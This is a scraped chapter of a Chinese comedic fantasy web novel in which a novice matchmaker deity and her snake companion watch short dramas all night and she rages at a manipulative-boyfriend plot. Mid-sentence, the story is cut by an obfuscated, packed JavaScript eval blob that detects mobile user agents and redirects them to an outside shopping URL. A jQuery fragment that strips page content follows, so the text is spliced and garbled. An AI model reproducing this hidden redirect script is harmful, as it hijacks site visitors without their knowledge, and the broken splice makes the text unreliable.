14. 第14章
作品:《实习月老:红线KPI完成了吗?》 桃喜宁从酒吧出来时,已经是深夜了。
晚风拂过她的脸颊,吹散了些许酒吧里残留的气息。
“你这酒水提成不要了?今天你可让葛悭消费了好多呢。”敖翔蹲在她肩头,回望着酒吧的方向。
“哎呀,应聘的时候答应酒吧老板不能干几天就不干了,结果第一天结束就不干了,不得补偿一下么?”
桃喜宁伸手点点敖翔的小脑袋“否则他还能这么痛快让我辞职?”
她蹦蹦跳跳,踩着人行道上的落叶往前走,发出的声音在空旷的街道上格外清晰。
“再说了,葛悭第二天酒醒了发现被套路了,他认账也麻烦。”“干脆送给酒吧老板,他肯定会想办法去把钱收到的。”
“你还挺机灵...”敖翔不再回望酒吧,将脑袋转向前方,用尾巴轻轻拍了拍桃喜宁的肩膀,像是无声的赞许。
......
回到公寓时,已经接近凌晨。
“这时候当仙的好处就体现出来了。”桃喜宁突然叉腰,对着空荡荡的客厅哈哈大笑,“可以连轴转,天亮后立即去上班!完全不需要睡觉!”
她的笑声在寂静的夜里显得格外突兀,连桃喜宁自己都吓了一跳,赶紧捂住嘴。
“你真的这么想?”敖翔从她肩头滑下来,落在沙发扶手上,用尾巴支着脑袋,无情戳破她的自我安慰。
桃喜宁的肩膀瞬间垮了下来,整个人瘫倒在沙发上:“呜呜,完全没有这样想...下班时间都用掉了,想想好亏啊。”
她突然从沙发上弹坐起来,“对了!要不趁着现在有限的时间放松一下,我们一起看看短剧?顺便洗洗今晚被污染的眼睛?”
桃喜宁拿起手机,解锁屏幕,凑近敖翔。手机的光映在她脸上,映出一双亮晶晶的眼睛。
“切,谁要看那种东西...”敖翔嗤之以鼻,别过脑袋,“剧情狗血,表演浮夸,有什么好看的。”
“不看算了,我自己看。”桃喜宁也不强求,重新瘫回沙发上,找了个舒服的姿势,开始浏览短剧平台。
客厅里安静下来,只有手机里偶尔传出的背景音乐和片段对白。
敖翔高昂着脑袋,一副“我才不感兴趣”的模样。
但随着时间的推移,随着桃喜宁那里不断传出各种夸张的台词和戏剧性的音效,他的脑袋开始不自觉地朝她的方向靠近。
一点,再一点。
终于,敖翔悄无声息地从沙发扶手上滑下来,挪到桃喜宁身边,挨着她的手臂。
“不是说不看短剧吗?”桃喜宁斜眼看他,嘴角勾起揶揄。
敖翔一瞬不瞬地盯着手机屏幕,竖瞳随着画面的切换而移动:“我只是...批判性地观看。对,批判性地。”
桃喜宁忍住笑,没再戳穿他。
几部短剧眨眼间就放完了,节奏快得让人应接不暇。
“下一部看什么?”桃喜宁滑动着屏幕。
“看这部!”她突然手指一顿,点在一张海报上,“男女主角合眼缘!你看这女主,长得挺好看的,男主也...”
“不要。”敖翔用尾巴戳了戳屏幕的另一处,“看这部,这部名字好听。”
“那我们石头剪刀布来决定。”桃喜宁提出解决方案。
“啊,你欺负我没有手,不能出。”敖翔不干了,开始在沙发上撒泼打滚,细长的身体扭来扭去,最后干脆一不做二不休,直接缠住了手机屏幕。
“我不管!我就要看这部!”
大有如果不让他看,就什么也别想看的架势。
“行行行,你来选。”桃喜宁举手投降,无奈地笑,“真是服了你了。”
“哼哼,还不是要让着我~~~”敖翔整条蛇都波浪状抖动起来,嘚瑟尽显,鳞片在手机屏幕的光照下闪闪发光。
他松开手机,用尾巴尖精准地点开了选中的短剧。
片头音乐响起,配上画面,倒是颇有几分意境。
然而,好景不长。
播放出来的内容让一人一蛇同时沉默了。
手机屏幕里,正上演着似曾相识的戏码:
总裁男主不是在会所娱乐,就是在餐厅消费,偶尔出现在公司,也是对着秘书女主——他那位正牌女友——下发一连串模糊的指令。
“这个谈判,你替我去。”
“家里水管坏了?你找人来修一下。”
日复一日,公司的大小决策、合同细则、甚至男主家里的物业费账单,全堆到了女主的办公桌上。
而她加班至深夜时,男主发来的消息却是:“别忘了明早给我带那家很难排的早餐。”
更窒息的是薪资谈判。
女主鼓起勇气提出加薪,男主却用一种混合着惊讶与失望的眼神看着她:“你为我做这些,是在为我们的未来打拼啊。谈钱?多伤感情!”
公寓里静悄悄的,只有这些台词不断回响:
“这些事,你不做谁做?难道要我亲自来?”
“把感情当筹码,你什么时候变得这么俗气了?”
桃喜宁看着看着,脸色逐渐沉了下来。
本来随意放在沙发扶手上的手掌越收越紧,柔软的沙发扶手被捏得皱成一团。
“你不觉得,这剧情、这台词很熟悉吗?”她的声音像是从牙缝里挤出来的。
“是...是吗?凑巧吧...哈哈哈”敖翔高昂的脑袋低了下来,竖瞳盯着屏幕,眼神复杂。
渐渐地,他整条蛇都盘了起来,缩在沙发的一角,仿佛想要减少自己的存在感。
剧情很快推到了高潮:
女主摔了工牌,辞职分手,一气呵成。紧接着,男主的公司就乱了套。
于是,镜头里的男主迅速切换成了死缠烂打的前任,他开始没完没了地打电话,在女主新公司的楼下堵人,台词也变成了“回来吧。”
“岂有此理!”桃喜宁终于忍不住,一掌拍在桌子上。
“砰——!”
一声巨响。
霎那间,小桌子上的水杯、纸巾盒,全都被震飞到半空中。
桃喜宁回过神来,倒抽一口冷气,忙不迭地伸手一一接住,轻轻放回原处,仿佛一切什么都没发生过——除了桌
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977430|193254||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子上那个清晰可见的掌印。
“刚刚...我发出了很大声音吗?”桃喜宁满怀期望地看向敖翔,声音里带着一丝侥幸。
敖翔从沙发角落里探出脑袋,竖瞳盯着她,又看了看茶几上的掌印,慢悠悠地说:“你说呢?”
话音未落,桃喜宁的手机就响了。
她抓过手机,屏幕亮起,是邻居岑漫发来的消息:
【小桃,我在熬夜赶稿,刚才有个很大的响声,好像是你那里传过来的,你没事吧?需要帮忙吗?】
桃喜宁捧住脸,发出一声压抑的哀嚎:“啊啊啊...还是吵到隔壁邻居了,罪过罪过...”
她赶紧打字回复:【不好意思不好意思!我刚才不小心把东西碰掉了,已经没事了!抱歉吵到你了!】
发送出去后,她整个人瘫在沙发上,生无可恋。
“看个短剧,至于这么激动吗?”敖翔小心翼翼地往手机旁边挪了挪,尾巴轻轻扫过屏幕,关掉了那部短剧。
桃喜宁咬牙切齿地骂:“渣男!跟葛悭一个样子,明明是自己的工作,却以感情为由让女友来做!还要发脾气耍威风。实际就是借着感情奴役女友。”
她的拳头捏得咯咯作响,眼中闪着危险的光。
敖翔闻言,身体不自觉地瑟缩了一下,声音都变调了:“那个...让同事...啊不女友工作养他,还...还偶尔发发小脾气,也..也不一定就是借着感情奴役吧。”
桃喜宁猛地转头,眼神如飞刀般射向他:“你为什么要替他辩解?你今晚还拉着我不让我修理葛悭,难道——”
她眯起眼睛,上下打量着盘成一团的敖翔:“难道你也是这样想的,所以产生了共鸣?”
敖翔吓得整个身体都僵住了,结结巴巴地说:“没...没有!绝对没有!你继续骂,继续...”
他把自己盘得更紧了,几乎要缩成一个青色的球。
经此一部,敖翔是再也不敢选剧了。
可是桃喜宁就跟上瘾了一样,不仅继续看,还专挑那种带有类似元素的短剧。
每看一部,她的怒气值就上涨一截,边看边骂骂咧咧。
敖翔在一旁瑟瑟发抖,整晚都把自己盘在沙发最远的角落,恨不得原地消失。
偶尔桃喜宁骂得太激动,随手一挥带起一阵风,他都吓得一哆嗦。
时间在狗血剧情和愤怒吐槽中悄然流逝,窗外的天色由黑转蓝,又渐渐透出白。
等天终于完全亮了,桃喜宁才放下手机,站起来伸了个大大的懒腰。
她的关节发出轻微的“咔咔”声,在寂静的晨光中格外清晰。
“啊——发泄一晚上,爽快多了。”她长舒一口气,感觉胸中郁结的闷气都消散了。一回头,看到敖翔还盘在沙发角落,小脑袋一点一点的,显然困得不行。
桃喜宁凑过去,仔细观察。在晨光的照耀下,她惊讶地发现——敖翔那绿豆大小的眼睛下面,竟然有两个淡淡的、黑色的阴影!
“你这个...”她忍不住伸手,用指尖轻轻碰了碰那阴影,“不会是黑眼圈吧?”

